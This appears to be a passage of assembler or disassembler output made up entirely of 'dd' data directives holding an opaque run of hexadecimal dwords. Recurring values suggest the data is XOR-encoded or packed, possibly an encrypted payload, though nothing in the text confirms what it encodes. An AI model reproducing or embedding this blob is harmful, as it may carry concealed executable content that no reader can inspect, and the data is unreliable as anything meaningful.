90A1E9CDh dd 13712E10h, 15664430h, 0EBED4452h, 15649B3Dh, 0DBD18832h dd 0A10EBC53h, 9C662244h, 0FC3D3506h, 15668820h, 0F5BE279Eh dd 0F38EA162h, 0ECE1B09Bh, 0B81C3A65h, 0A3696555h, 19E62D3Ch dd 1A661132h, 15668EBEh, 15EC4B32h, 95662232h, 966991CBh dd 1566885Fh, 156657DBh, 6B5E1D32h, 0F2B6CA80h, 2E4D67A9h dd 0AB81797Ch, 56E22E6Ch, 41E1AF64h, 0E64FF5FEh, 94AD456Ch dd 0D932A5F1h, 0DEED714Fh, 0ADDCDA53h, 0E26A8F45h, 5FB4D5E0h dd 52949070h, 3C95BCBAh, 1E8F1EE1h, 0C5662232h, 3F2957BAh dd 0C49D715h, 0BF8F5F22h, 75662232h, 5D0DD2B3h, 7507BBAAh dd 1565C53Dh, 9E002232h, 0F5B391CCh, 0A235D853h, 95A9BA6Bh dd 0CA90C7C5h, 0E3D1DEB2h, 1F8908EDh, 3D3DBCBAh, 9F067AF3h dd 13E61EECh, 1A668832h, 156644B5h, 150E4332h, 3C661132h dd 19EDAC3Eh, 11A2C716h, 1576A93Dh, 1E8F1132h, 3A668832h dd 7B59F074h, 51A94037h, 439F0D7Fh, 910AA98Ch, 0B380C55Dh dd 9454356Ch, 112ACEC4h, 9E97A910h, 0D1E76006h, 15662236h dd 21DE41CBh, 1472E649h, 0DE4F1CF1h, 6E52C9B3h, 78F055Ch dd 0CF668832h, 0E5381E0Bh, 37A992CDh, 348A8328h, 0F779A410h dd 0F0E3CFF2h, 0EC60321Fh, 3D3B84B9h, 92698E22h, 15664439h dd 156624DBh, 3394932h, 96A6DD05h, 54C598Fh, 91692334h dd 156615B5h, 1562053Dh, 75064432h, 73064353h, 1A02AD88h dd 156682B7h, 1563AD32h, 70412232h, 74D6B7C4h, 97694B0Bh dd 1566406Dh, 1AB51BCEh, 0EA9D36B0h, 14EE87CDh, 0ED664432h dd 1578A73Dh, 0AD061132h dd 7EF1D4FDh, 156656DBh, 0DE0BDB32h, 0B48A03F1h, 0AC74D6DEh dd 0CB4CF021h, 748C94A4h, 156237DBh, 90A17D32h, 1371E210h dd 15662230h, 15679E3Dh, 0E99A8832h, 9C62A8B1h, 39E70606h dd 0D0618016h, 0D6E7D318h, 3FA343A3h, 1570A03Dh, 9B691132h dd 15668822h, 15664FDBh, 3EE7F332h, 2253477h, 0B0E37896h dd 0E968F23Dh, 1AE6DBB2h, 15668BB1h, 2E78732h, 0FC664432h dd 15662220h, 0A470D078h, 6CEC6DEh, 6C4CD87h, 983B3345h dd 1A061B81h, 15668ABDh, 733E1432h, 0A5B3D3B3h, 3BA59053h dd 1454DC35h, 99DF15F9h, 944CA662h, 0FA6137D3h, 3F970916h dd 3C749435h, 9F697BF9h, 15661127h, 1569053Dh, 1F8F4432h dd 0DE662232h, 86BA6B69h, 71CF0B2Dh, 1E84B49h, 75662232h dd 156616DBh, 21646232h, 0F0D6F1FAh, 1566A43Dh, 42071132h dd 0EA99778Dh, 4A9D6DCDh, 15C2CBCEh, 1D8F1132h, 0AB668832h dd 3921A900h, 46A9A7E0h, 9D66A463h, 0F6B6D1D9h, 3D67AFB2h dd 198F79EBh, 5B661132h, 63E53E23h, 0A51C3364h, 44FA2D42h dd 0E23B4867h, 1A8F0FEFh, 15664CB1h, 17E12D32h, 75661132h dd 68FE853h, 0EB664432h, 677772Ch, 0F0E0789Eh, 3D9C2EA2h dd 74C32DFFh, 4CDE4CF0h, 747D7EE2h, 15993765h, 0EC474432h dd 94421EB9h, 156615F6h, 15686132h, 5B514432h, 9F6010F3h dd 163D8371h, 0F86CC1E6h, 3937FA64h, 0E64F592Bh, 94AD386Ch dd 0C4AD9F1h, 12ED4B49h, 1A662232h, 156610BFh, 90ED7132h dd 137669D7h, 1573A63Dh, 58F1132h, 45668832h, 192D83B6h dd 0F45B5A51h, 66257006h, 9ECFEB39h, 54E19A7h, 1572CB34h dd 0F4D01132h, 4C20224Dh, 0C34972F0h, 0B7E99D0Fh, 7CF27D5Bh dd 0A8E5CFCCh, 13766E2Fh, 4DE22D33h, 0EC661130h, 97695009h dd 15664411h, 156DCA52h, 39D61132h, 0BACA31B7h, 0A1B58F6Fh dd 4CCC9658h, 0BDB99054h, 0C65FE97Ah, 0ED98C23Dh, 409EDDCDh dd 0EA99EE8Fh, 488889CDh, 0B075FE52h, 0A2690C21h, 473570FBh dd 0E2EE3984h, 0B789C468h, 0FC3DDABAh, 1566113Dh, 6CBF754Dh dd 1E597302h, 92F79D0Dh, 0BFA9CE5Bh, 0F9E5E952h, 317ACD36h dd 15662289h, 9F951032h, 1A06D339h, 0AB06848Dh, 6D5C2B9h dd 0C750BB88h, 4707E914h, 0FBE6CE84h, 95B8D498h, 84D6E0F4h dd 1A3C7802h, 15664FB1h, 1560CB32h, 0C461132h, 0F9BF5E81h dd 1AD41654h, 9E00F312h, 0D1E73526h, 15668830h, 156657DBh dd 93CD5432h, 3527EE75h, 6D527A5Bh, 9114C6h, 0BDDA64D5h dd 18FD93Ah, 9C668832h, 0C4150A6h, 0E5C18CAAh, 947D9E9Ch dd 0AA589F7Fh, 0BFE3CFF4h, 157CA03Dh, 0FC061132h, 15668835h dd 6480C4E9h, 0FC13D649h, 15661135h, 8B4816F9h, 744CA229h dd 6CB09B63h, 0DE6764DAh, 949DA16Bh, 0FD1F92D9h, 0AC37DA47h dd 15661136h, 7AE063B3h, 0DE4F4240h, 7AE0E1B3h, 0FC3F1740h dd 15668838h, 0DF3998D4h, 0F2A8A65Bh, 9069E6CBh, 1566883Ah dd 1564C43Dh, 74062232h, 0D657C903h, 1C8F5003h, 0A0664432h dd 7053C96h, 0CBC5327Eh, 0AD367199h, 15664430h, 11EDE433h dd 11A29216h, 156B033Dh, 1D8F4432h, 0E0662232h, 0C0EC3943h dd 9C4D0844h, 56CD587h, 90A1D734h, 13763B2Fh, 15668833h dd 0E2D94B52h, 3B3C098Ch, 9D697057h, 15668838h, 1A072452h dd 156622B7h, 41367032h, 15628D6Ah, 0D5E54432h, 3162A536h dd 14E41E6Eh, 0EC668832h, 15664ADBh, 65A94C32h, 468A35E6h dd 1946F604h, 9E80BA94h, 9C31062Eh, 11A190D5h, 96668832h dd 29E140F5h, 9D697E16h, 1566113Ch, 156681DBh, 0AFAA5532h dd 0BF946DACh, 19ED4D89h, 0F6EFDB16h, 156287B3h, 0D6E52232h dd 317A9636h, 9C30706Eh, 11A0C5D4h, 96662232h, 0EA3015F4h dd 4B62AC46h, 494240BDh, 0F7EF70CBh, 1562D3B3h, 0AD368832h dd 15664436h, 923EE033h, 0EC3A3526h, 0EABC6BDBh, 1A0624CDh dd 156622B0h, 0FBAC9032h, 746126D5h, 4007BF86h, 0C868E28Fh dd 0A1AB9059h, 5008302Ah, 942B91C5h, 17872AC7h, 488838A2h dd 157461CEh, 300F4432h, 63BE8B0Dh, 0AE0EE6FFh, 0B7721928h dd 1EE80C82h, 0A5829561h, 15D13D37h, 4ED18CCAh, 0EC9F2452h dd 0FFDE4453h, 0E0CC705Bh, 0CADED864h, 147FE94Dh, 4D620676h dd 6AB93C6Ah, 7506919Fh, 0AB0025CAh, 43070289h, 4F36AF8Ch dd 4B96A151h, 0AB63BC1Bh, 0EC057862h, 1561953Dh, 0A5068832h dd 0E3D14BFDh, 7D317053h, 7C1A44A6h, 0C089096Dh, 0E2634670h dd 5091A3EDh, 9CFD94DFh, 0C54FD7C8h, 1576AD68h, 3F5E2232h dd 0C993B5C8h, 0E26F3A06h, 3340D636h, 0E0CD19C0h, 10869862h dd 15668836h, 926284B1h, 31ED0636h, 94007116h, 0A499E9E4h dd 9ED25D7h, 0F0EF7716h, 1562D4B3h, 0D0E58832h, 314AC336h dd 1560CB6Eh, 0BD1F1132h, 0F8F1E326h, 316ACFCBh, 9483AB67h dd 156615F7h, 11A30B32h, 494268B5h, 3152A9CAh, 94839867h dd 15668CF7h, 11A3C732h, 49420EB5h, 0F6EF42CBh, 15623260h dd 0C6674432h, 11A5A168h, 49420DB5h, 0AF06E8CEh, 3FA5A98Bh dd 0EFD92D53h, 0C9EDF853h, 0AB0677CDh, 3E9806ABh, 37E3E553h dd 10600694h, 75668832h, 9EA1FB3Dh, 750643E4h, 0DAE777C7h dd 740739D5h, 314AC564h, 40B4F9Fh, 94420DB9h, 15668CF6h dd 0B8A5C532h, 1A774F5Fh, 156610B6h, 40307432h, 1566408Fh dd 4888AB32h, 1A38E233h, 156691B1h, 1572AD32h, 6C632232h dd 0A61655A6h, 13756B2Dh, 18E1F1FBh, 0FD578F06h, 0AC3751C6h dd 15668832h, 0C65B533h, 94422EB9h, 156615F6h, 1EE88732h dd 75664432h, 4B67F8B3h, 0DBE64ABAh, 90EDE923h, 137669D7h dd 157BA03Dh, 0FD061132h, 15668822h, 9C4A30A7h, 0CC7244B9h dd 87505EB0h, 313B942h, 0DFE7226Dh, 9E075808h, 54E4CA7h dd 429A7D34h, 6210858Dh, 0D2E76D39h, 0E1EE980Dh, 0FC397633h dd 15664420h, 30C4519Eh, 258E4C88h, 5E0BF17Eh, 0AC842AC0h dd 0A8E5E971h, 1376059Fh, 0FEE28733h, 1A664437h, 156623B1h dd 0CD5DE832h, 155A0A3Dh, 75064432h, 15662FDAh, 23838532h dd 0ABFF4BDAh, 0F5A46F2Ah, 1A3FBCE8h, 156611B9h, 0AA00E932h dd 2E07403Ch, 52E02DE8h, 75661133h, 0E6D98752h, 0E12796B3h dd 0AB077494h, 5993B4E4h, 0A0EF7053h, 13764EA3h, 9F694352h dd 15661133h, 37FB03CBh, 75605394h, 0ED3F7452h, 2CF7AE53h dd 4007EFB0h, 287D378Fh, 310A2316h, 49674C22h, 79E78416h dd 0E154816h, 9369060Fh, 15661133h, 103A61CEh, 0E0064432h dd 315AA953h, 94819865h, 15668CF5h, 11A1C732h, 49421EB5h dd 12E11ECEh, 1A668832h, 156645BDh, 90A1DB32h, 1376059Fh dd 15668833h, 16E54B52h, 73662232h, 18FE3B9h, 73668832h dd 0D4FAAD62h, 0D9535442h, 9E7678ACh, 0EF9D39EDh, 74F9A019h dd 45423EB9h, 1163F1BBh, 10668832h, 15664436h, 494226B5h dd 156619DBh, 0B27AA032h, 994A0DECh, 316AA9EEh, 94839867h dd 15668CF7h, 11A3C732h, 49420EB5h, 156A933Dh, 92698832h dd 15664434h, 1566A73Dh, 21ED1132h, 0F3EFDE16h, 156282B3h dd 0D3E72232h, 15661136h, 4942BCB5h, 0F0EF11CEh, 1562E7B3h dd 0D0E51132h, 314ABB36h, 26426803h, 1A3A061Eh, 156609B4h dd 15756132h, 4344432h, 0B071A860h, 0BE9C6A3Dh, 0AF427298h dd 30E334B4h, 0C24CCBB1h, 7306EECDh, 0E98B858Dh, 0A8E5BC53h dd 1376082Fh, 4AE21E33h dd 0FC668836h, 15664422h, 0D24057F3h, 8A71E53Fh, 502D2646h dd 95B0FCB7h, 3883BF19h, 9E9A1722h, 56CADBFh, 0FCE7B834h dd 2165F19h, 46B9F8B3h, 0CC67B117h, 46B985B3h, 0D4E71B17h dd 2166C19h, 15668DDBh, 46CF7C32h, 0AD36BAEFh, 54A63281h dd 206E68F3h, 0E6D4FF16h, 3C3EE333h, 318F90CBh, 1A55193Ah dd 156645B0h, 0AA31DB32h, 338E19DEh, 1D8167B3h, 0EC4F62DAh dd 0AA00426Dh, 0CAE79558h, 59FF3807h, 0A1361653h, 868AA2D2h dd 0A53EF7BAh, 4F96B896h, 1568C73Dh, 1C8F2232h, 68661132h dd 0C9D7EEBCh, 0FDF513A2h, 0DD57DA98h, 0DD57D003h, 9C6923CAh dd 15664435h, 1567A13Dh, 429E1132h, 0AE356FBBh, 15664436h dd 963DFD33h, 29E115F5h, 9A69D416h, 15664429h, 15ED2D52h dd 0FD661132h, 1566883Fh, 68C8CA07h, 4ACDB712h, 0C7D1D7F1h dd 0EA07D2DCh, 943D6006h, 156626F6h, 19EDE832h, 0F3EFDE16h dd 156282B3h, 0D3E72232h, 15661136h, 4942BCB5h, 3152BBCAh dd 11A2A16Ch, 1C8E7152h, 50668832h, 7FB95A1Ah, 0AD019C7Ch dd 0FC07E86Ch, 15668822h, 771F4FA3h, 8D117689h, 0F6A076DEh dd 0CBC1941Ah, 0F6EF1753h, 1562E1B3h, 0D6E51132h, 317A0F36h dd 0FC4260B9h, 15662238h, 0F443E27Dh, 830ACBBEh, 0B78FDE76h dd 0E999DDEAh, 0B34494F5h, 15648E25h, 7D9A4432h, 15661629h dd 9C423DBBh, 488D01C7h, 940024CAh, 74F8E9D0h, 1A68A73Dh dd 156689BFh, 0ECE6BC32h, 39E52DB2h, 0E0661132h, 1E0963B3h dd 0FEE74589h, 755614D9h, 0D6E7DA33h, 7556BED9h, 1E0987B3h dd 45932389h, 0EA99EE8Ah, 4DA5A1CDh, 15E1ADC7h, 479E2232h dd 0E7E63780h, 12844823h, 0E330AEB2h, 95A4DCE8h, 0D4E639C0h dd 95B7A0A9h, 753CDFDBh, 156627DBh, 0ED024932h, 9B69A544h dd 15664433h, 9A6943CEh, 15661133h, 3FF3E0CBh, 19EF4432h dd 317AD516h, 4034ED6Bh, 0F20ED18Fh, 0D0A3C56Bh, 9412D218h dd 6247CF7h, 0F0A7CD7Bh, 148BC53Ah, 9C8CF7B9h, 0C4474CD8h dd 749AE868h, 562F87B3h, 0DE4F00CDh, 562FA863h, 0DE4FAACDh dd 9400246Bh, 0AE924FDDh, 3E157A15h, 0F0E30353h, 0FC60541Fh dd 15662239h, 293F2932h, 16E8B808h, 9E7DC82Bh, 54E7FA7h dd 12E81E34h, 75668832h, 9EC585B2h, 0D18F43ECh, 0E999EEC9h dd 0B3440DF5h, 15644225h, 1A062232h, 156613B4h, 7307E832h dd 368AAB3h, 118AA153h, 9C423DBBh, 488D01C7h, 156654DBh dd 6D1C4D32h, 3ACC7F78h, 0A995B048h, 9F974175h, 1BD02DC6h dd 0C4D11E52h, 959F0853h, 153AC73Dh, 0EC062232h, 3AD84753h dd 142B7338h, 0DE671AC1h, 1F49C9B3h, 128F5CC9h, 36668832h dd 0DA204CFBh, 0AA318EEAh, 0EA99EECDh, 0ED39731Bh, 15B7ADCBh dd 0FC062232h, 15661121h, 2A5EBE87h, 0C35968F0h, 0A4331CBFh dd 0A951A623h, 0FC80BE19h, 15664435h, 0D0C18BB6h, 7404BE99h dd 13D8EE52h, 0A7342547h, 1384E215h, 190EA162h, 0EB6DAC01h dd 317660FAh, 3DB42686h, 0D7E649F0h, 70AC08EDh, 3D74B6B2h dd 9B6978E3h, 1566113Ah, 1564013Dh, 74064432h, 0FCE7F3C5h dd 0EA99EECDh, 15668DDBh, 7AB98D32h, 0F9E52FCCh, 317A9836h dd 40027589h, 46ADC531h, 944C2E60h, 0B060ABF1h, 9E8D095Ch dd 942FC915h, 176C7FF9h, 32AD9033h, 94516F17h, 0E218C4D9h dd 4EBF0345h, 15661FDBh, 38048B32h, 16B72CDFh, 88ED9CB8h dd 409D4FD5h, 28269B8Fh, 488D6D57h, 0D6E7E91Bh, 705B5121h dd 0D6E7EE52h, 0AC00829Fh, 9E07EED7h, 54BF4B7h, 15616134h dd 72574432h, 0B2F1F787h, 1563F8A1h, 97F78832h, 9ED4E7E5h dd 54E7FA7h, 1C8F7134h, 0CF668832h, 9A321798h, 0FDA9F4D3h dd 1564923Dh, 74068832h, 8DBC753h, 14603218h, 0ED53953Dh dd 940677CDh, 35F404D0h, 74979752h, 9769C909h, 15668825h dd 156EC43Dh, 9B692232h, 15661130h, 0C65FE952h, 0FBB8C23Dh dd 459FDDCDh, 0EF0C898Ah, 0A45854Ah, 53631D73h, 3CE026B2h dd 1B8F49F4h, 0A668832h, 8330835Bh, 32C974CCh, 3445BBB8h dd 9E3070DDh, 0D1E5603Eh, 156FCB36h, 311E1132h, 0C4E101B2h dd 943BA932h, 321140F3h, 429F381Bh, 2E181A8Dh, 0C5A1C528h dd 3C68C9CAh, 9B694ECBh, 15668833h, 7612CCBh, 9EF2232h dd 1563AA16h, 0CC4F8832h, 78F2469h, 0CB662232h, 624A4B85h dd 0B3CB9B32h, 2BF9C58Fh, 0AD3A01C5h, 0A507E895h, 1D86481Dh dd 258FF260h, 0FD0678C2h, 15661137h, 1212CEDDh, 4E072496h dd 0CBD92D52h, 74A89A54h, 1A932253h, 15665AB5h, 0DE22D32h dd 0FC661132h, 15668821h, 3AFB47C0h, 4EEBD785h, 0F711DFA6h dd 6CAC47DAh, 2448F631h, 24A713FAh, 0FDE771FAh, 762E85E8h dd 0BE07A5B8h, 15662BDBh, 27565F32h, 6075E02Dh, 0F78FD912h dd 7599DDE6h, 9BD9054h, 74B83FB7h, 1566FF61h, 0E6672232h dd 9ED12B8h, 11A20B16h, 1568CD3Dh, 1C8F2232h, 0A2661132h dd 49F8C122h, 0C6CE4AD7h, 1A8E1ECBh, 15664FB6h, 0A6D8E832h dd 0ED55FE98h, 9E004253h, 74DFA4C8h, 250AE061h, 5E3D651Eh dd 0F6B7F9C5h, 75B0D2B3h, 0CDEFCA6Ah, 964258B9h, 48F26F6h dd 83661132h, 64503406h, 7FE2D119h, 0BE7A6ED7h, 488C0ED6h dd 156686DBh, 192C2232h, 0CAC03D62h, 840FE050h, 0FCBC9C3Bh dd 156645F3h, 1567A33Dh, 409E1132h, 0D0E76DBBh, 15664436h dd 1562CFB3h, 39E11132h, 9EFD416h, 1561AD16h, 0AEA52232h dd 0A5502CA5h, 9C35DD4Eh, 4EBBCDC1h, 1A3BC9BBh, 156609BAh dd 15756132h, 53D94432h, 0E45DA6F6h, 0DF9F7152h, 82069651h dd 22C0C3BAh, 14DC70D7h, 94661132h, 0D6C18F0h, 94944563h dd 0D6CB2D8h, 4F7C1263h, 156682DBh, 17EDF132h, 0F835DB79h dd 0FC173C4Ch, 15668826h, 4945B30Ch, 5A4C858Ah, 0FBBFA9FCh dd 0E101B25Fh, 554D6233h, 15639860h, 0C6671132h, 94429CB9h dd 156640F6h, 1C8E4232h, 61661132h, 41810BEFh, 1C0A88B1h dd 4EA79D3Dh, 1576983Dh, 1E8F8832h, 7B664432h, 0D13D3F9Ch dd 98B4849h, 44071808h, 0DDEEAC83h, 96422EB9h, 18F15F6h dd 71668832h, 0D616F093h, 0F9A12D13h, 611DE036h, 87833008h dd 0BF39D32Fh, 4B9F7552h, 4407C8B9h, 9827D48Bh, 32A7C50Ah dd 946A276Bh, 0FEF1FCF3h, 4CADA1EDh, 0D6E7BF1Bh, 31181042h dd 15661BDBh, 0CAF02132h, 6F3EC2E0h, 42C7FD09h, 1562AA61h dd 0CAEF8832h, 4A9D6D69h, 156AA23Dh, 90691132h, 15668834h dd 1566C53Dh, 0CD572232h, 0CD57D203h, 9C6923CEh, 1566443Eh dd 1560A73Dh, 98691132h, 15668832h, 4E4270CDh, 1562E6B3h dd 58F1132h, 0E668832h, 85470EFFh, 0E2C119D0h, 0E6404850h dd 4566FAE0h, 1566418Ah, 7F88A332h, 14658A1Dh, 7FA009F4h dd 4D65DF1Dh, 15662BDBh, 94545B32h, 5D4B1734h, 0AF3426D7h dd 15662233h, 1EDC1BBh, 11A20B16h, 156641DBh, 88840832h dd 138F08CAh, 0F8668832h, 64D3AF76h, 7D9AE1DAh, 1566283Fh dd 1A4284BBh, 156648B9h, 13E02D32h, 1A661132h, 156688B4h dd 23992232h, 3162A954h, 0FC64D5B1h, 1566883Eh, 9AA7B151h dd 0F4820A6h, 1E0CDBA4h, 91694B0Eh, 15664521h, 1AAD1ECAh dd 15671BB6h, 0D75A7432h, 1405C03Dh, 75062232h, 0FC074962h dd 15668823h, 64A325Bh, 4C14776Bh, 7B397164h, 0D8698F57h dd 0DF5A25C4h, 1459A63Dh, 138F1132h, 4E668832h, 728DCADAh dd 0EA5B442Dh, 74E21E17h dd 75668833h, 9FAFF33Dh, 1E8F43E5h, 7D661132h, 79CBF952h dd 5868F46Ah, 28002CFCh, 9069EE1Ch, 15668868h, 9480CE52h dd 3393B8D2h, 9A0E707Ch, 9C66887Dh, 17DD602Eh, 14662232h dd 4E659BC1h, 0A037EECBh, 738E64C2h, 94422EB9h, 156613F6h dd 15746132h, 0E1964432h, 0E6C1151Ah, 0E2095F2Fh, 27205D28h dd 65EB0CF7h, 9169820Eh, 1566107Ah, 156E0B3Dh, 9C694432h dd 15662230h, 19ED7052h, 0F2EFDF16h, 156283B3h, 0D2E72232h dd 15661136h, 4942B4B5h, 150EBCCEh, 9E662232h, 0D1E53536h dd 156B6136h, 0BFD4432h, 3375219Ah, 4A3BCAB7h, 0FC5FDBF7h dd 1566459Ch, 1E8F42CBh, 0A0661132h, 198E716Ch, 0E5AC905Ch dd 2407B579h, 1A8E71FBh, 33668832h, 2A38C7ACh, 0FCC7115Ah dd 9FDED841h, 1A39D8F7h, 156642BCh, 15EA2D32h, 74661132h dd 25853664h, 0FBE721A2h, 26840CBDh, 6458DFB3h, 0C391824Ah dd 9463A2F3h, 0DB09FDC4h, 4B97384Dh, 157761CEh, 2FA24432h dd 8D8115DAh, 8A855A0Eh, 0EA9CEF12h, 0FCCAA068h, 15662287h dd 16DB44CAh, 45668832h, 0D4EFACBBh, 1E8F7F6Ah, 0FF661132h dd 0EC8A825Ch, 690713CCh, 878F4277h, 1A661132h, 156687B7h dd 156CAD32h, 6E982232h, 3D356F09h, 289CD51Eh, 11E92C65h dd 0E239666Ah, 639190E5h, 9CDD2FC9h, 315ACFCBh, 7562E6B1h dd 15661BDBh, 7B0AD332h, 221B2B46h, 0FDE30AD0h, 1566113Fh dd 7655AA4Ch, 0A98B523h, 9B1CBF76h, 1568F8D7h, 0DD5E8832h dd 63D31AEBh, 0F6EC8492h, 16F0B4BEh, 3F8FE96Dh, 0E9664432h dd 45240A8Bh, 0FAAF9018h, 430B0C0Bh, 7C1D048Ch, 4D88A37Dh dd 24B985CDh, 0FC9ED6C3h, 1566443Bh, 10AB4E22h, 0A639CA3Dh dd 75C27BEEh, 1D8F8180h, 82662232h, 5C011487h, 74952EB9h dd 749E2452h, 48EBA953h, 0E960011Ah, 906941B7h, 1566442Dh dd 156EAA3Dh, 9A691132h, 15668830h, 98692552h, 15662236h dd 743C4152h, 3D3B3DBBh, 9E9F4222h, 9C37063Eh, 11A790D3h dd 94668832h, 156640F3h, 316AA532h, 0E3E6716Eh, 0D08E0982h dd 7420CC80h, 5C5C9D65h, 0C2917A7Eh, 399D47B3h, 0D2E73794h dd 1D2E6330h, 1A39E9BBh, 156689B2h, 75A5B832h, 0D63ED89h dd 17EF1E13h, 43668832h, 0FD062568h, 15662221h, 505BA53Eh dd 0DB37A735h, 0AF26F418h, 86A44618h, 0AF236297h, 73D595B9h dd 16EA4B68h, 95662232h, 7D07E9E8h, 156697E3h, 0AF4250BBh dd 15662232h, 9E00E333h, 299FD230h, 2AE24BF1h, 0ED662230h dd 1573903Dh, 58F8832h, 8B664432h, 0CDAFF13Ch, 0B8CEE9A4h dd 0B7DEB96Fh, 47EB15DEh, 9DA5AA61h, 0C6EE4AE8h, 14EC8768h dd 0ED664432h, 0EBFF9363h, 6BAF91FBh, 359449B2h, 0FC061DF9h dd 15662222h, 5440C8Dh, 5DB8CCF8h, 7C6264Eh, 70E652E9h dd 156603DBh, 0E8304432h, 3C9AA058h, 1BE979ECh, 622F5A80h dd 744ABAC5h, 1A16BFB2h, 15620FB6h, 0FC5AED32h, 14A20C3Dh dd 75064432h, 9A69E8B8h, 15661132h, 15746153h, 11C94432h dd 8BE77838h, 82E794B6h, 0FF529C81h, 28082336h, 1A8D1E53h dd 156788B6h, 198FE832h, 0BE664432h, 600F5FB3h, 31031C0Ch dd 742ED8EDh, 0F7E72252h, 9400E721h, 74EC45F9h, 91694A0Eh dd 15664540h, 156629DBh, 55023132h, 1195085Ch, 3D9DCBBCh dd 9169E90Eh, 15661068h, 156686DBh, 841CCA32h, 905CB9C6h dd 8C46C095h, 75C8E35Fh, 156649DAh, 4D6FEF32h, 0D562CC15h dd 0F63903A2h, 0AD0008E1h, 743837D4h, 30992C54h, 14420C3Dh dd 9C694432h, 15662227h, 0FC077152h, 1566883Eh, 0D71C5DDBh dd 7728646Bh, 61BE96B8h, 1AACB453h, 156745B6h, 94004232h dd 748B08EAh, 91696B0Eh, 15664760h, 94007552h, 4E4DEDE4h dd 1560063Dh, 90694432h, 15662232h, 3B5B7753h, 68E387CDh dd 75664432h, 45B5A954h, 949F7069h, 15668CDEh, 3172CD32h dd 15662088h, 9F941032h, 0E906D230h, 749DF33Dh, 0E3F89161h dd 95ADEFE1h, 0FEE60AD9h, 0D1D614EEh, 8B4A7916h, 9752833Eh dd 0D6564A36h, 4EBE646Ah, 15E82D52h, 0FD661132h, 15668823h dd 5F251E0h, 0FBFE7B7Eh, 7D92A10Ch, 41BBBF9Ch, 0E5D14B93h dd 0B55A4368h, 150E953Dh, 75068832h, 19ECACB3h, 1A071546h dd 156613BBh, 74950232h, 0B578558Ah, 1B492F6Ah, 382627A5h dd 758CBD61h, 289CFD63h, 0CC911A64h, 5197D0B3h, 0E4E7ECD8h dd 730641D1h, 253FC3B3h, 0E4E76ABEh, 6E3CB9C6h, 0E23F8C13h dd 0CA7D0FE2h, 0A306FF01h, 6A609F4h, 740704F1h, 15667BDBh dd 0FC06ED32h, 15668837h, 5BF790F9h, 0A0EF4389h, 1376396Fh dd 0D8FB05CAh, 1A60529Ch, 15662FBEh, 156EF832h, 0DC88832h dd 2FA537C9h, 9969AD2Fh, 1566113Fh, 156680DBh, 2CDEEA32h dd 51776EDAh, 0E0B5EE2Dh, 1422E067h, 39ED1240h, 11A2A116h dd 1425FCB3h, 0FDEFDE40h, 0FCA5B86Fh, 1566223Fh, 9C69B2D0h dd 42835F76h, 0CE7FFCBCh, 0F0EF7743h, 1562D4B3h, 0F8E78832h dd 15664436h, 49420EB5h, 754215BBh, 0EA0750B8h, 11ED5444h dd 11A2A316h, 75661132h, 157560CEh, 0EF694432h, 5C2BE9E5h dd 40462C83h, 97116631h, 66F40FFFh, 5F84A3FAh, 4F07309Ah dd 0F8E30153h, 0FC605413h, 1566223Ch, 23E37235h, 0FA461FFAh dd 0C9F92B94h, 219978F4h, 0D1E74916h, 15668836h, 1568AD52h dd 6D0C2232h, 470417E8h, 0F28006CFh, 0F81D3C73h, 157EAC3Dh dd 68F1132h, 7D668832h, 57E7127Ah, 14101632h, 55BCAB62h dd 0A741476h, 4407883Ah, 4A529D65h, 0D2E736A8h, 0CD0328DAh dd 1439BDBBh, 1A9A7BFCh, 156601BCh, 156D6132h, 0CD1B4432h dd 0CBE0E2D8h, 3C3B84A8h, 60DB054Fh, 1A605436h, 156623B4h dd 0FCCBE432h, 1566883Dh, 0F022E3C0h, 4996C794h, 0B27790C5h dd 0FCD7B74Fh, 15664437h, 91A881A1h, 0FE21407h, 7F4B9A1Ch dd 160AEB3Eh, 10420676h, 79C91D58h, 3B7C0C1Fh, 14E54B20h dd 0ED662232h, 1BEC1E99h, 75668832h, 1566C53Dh, 96692232h dd 15661132h, 24DB0553h, 1A60543Bh, 156623B8h, 0FCCBED32h dd 1566883Fh, 0D227F8E7h, 15814D0Ch, 6DDE2611h, 68318D0Ah dd 304B0DCCh, 16580372h, 10423576h, 2B47C817h, 0EB1B131Fh dd 0C6E7427Bh, 3355C974h, 74B00354h, 154EFF5Ah, 3162AB32h dd 156A973Dh, 98698832h, 15664434h, 1566AF3Dh, 0FCCD1132h dd 15668821h, 0DDE93D3h, 0A81F5EE7h, 897ADEF8h, 37DE39B8h dd 9873D5EFh, 54C578Fh, 156EF834h, 81908832h, 521BFBC9h dd 0FCCB798Eh, 1566113Bh, 0A21DA2A9h, 0ADBFBE43h, 21F60F88h dd 516563C1h, 0A833A016h, 679570A2h, 0FC3BCA33h, 1566113Ah dd 83C4029Dh, 4BACC650h, 14EA2D99h, 0ED661132h, 4B42BCCDh dd 156280B3h, 44062232h, 0CDB1C58Bh, 0FFD8D014h, 741C3EF3h dd 9C31DBF1h, 11A190D5h, 96668832h, 29E140DDh, 21EF7E16h dd 1563F816h, 0DB08832h, 754917E1h, 73AEA954h, 74CB818Bh dd 0B89215BFh, 0EA9A4224h, 8FD7E1h, 0F9FFFFCFh, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 2EC0D5F2h, 96A452F2h, 152AA8EDh dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah dd 60D554A8h, 59D7BA86h, 665ACE25h, 0DCF1439Dh, 25E1332h dd 0D871BA8Ch, 42C3A8EDh dd 0AEA2458Ah, 60D558DDh, 0D138C882h, 462C43DBh, 25E5DF07h dd 0C6D552BFh, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh dd 57B53606h, 52B0D9FBh, 0AEA452FEh, 0E96FDD7Bh, 51A25863h dd 195FABA8h, 0DCAA3075h, 259CC32h, 0CB2F168Ch, 133D20EFh dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h dd 0EB000030h, 0F392C00Ch, 6572F355h, 0D690955Eh, 662E992h dd 56E90000h, 14000006h, 0FC7B2F72h, 0CA510D44h, 0E76EEA23h dd 0C4530744h, 7F6DE120h, 0E01FD103h, 0FB3CED6Ch, 0D712B83Fh dd 0F62BD463h, 0B6754742h, 6BDB050Ch, 32410BE8h, 0DE504479h dd 7CB90900h, 15D6DCCh, 0E5BB6FECh, 38EC083Fh, 0C3AFF0A1h dd 9D4620C4h, 0EA77755Fh, 0EB070E5Dh, 6B173B37h, 8D79B86Ch dd 421C590Eh, 4CD56D1Ch, 